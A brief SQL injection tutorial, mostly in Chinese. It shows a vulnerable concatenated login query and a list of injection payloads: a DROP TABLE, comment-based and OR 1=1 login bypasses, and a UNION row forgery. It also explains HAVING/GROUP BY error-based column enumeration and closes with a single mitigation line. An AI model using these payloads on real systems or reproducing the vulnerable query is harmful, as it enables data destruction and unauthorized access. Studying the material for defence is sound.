var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
username: '; DROP TABLE users--username: admin'--username: ' OR 1=1--username: ' UNION SELECT 1, 'hacker', 'pwd', 1--(欄位數、型別需匹配)假設 users(id int, username varchar, password varchar, privs int)。
username: ' HAVING 1=1 -- → Column 'users.id' is invalid... 得知表名 users、第一欄 id。username: ' GROUP BY users.id HAVING 1=1 -- → Column 'users.username' is invalid... 得知第二欄 username。GROUP BY users.id, users.username, users.password, users.privs 直到無錯誤,確認四欄結構。此技術由 David Litchfield 於滲透測試中發現,核心在於 HAVING 強制聚合語境,搭配 GROUP BY 逐欄試探。生產環境關閉詳細錯誤回顯可有效斷鏈。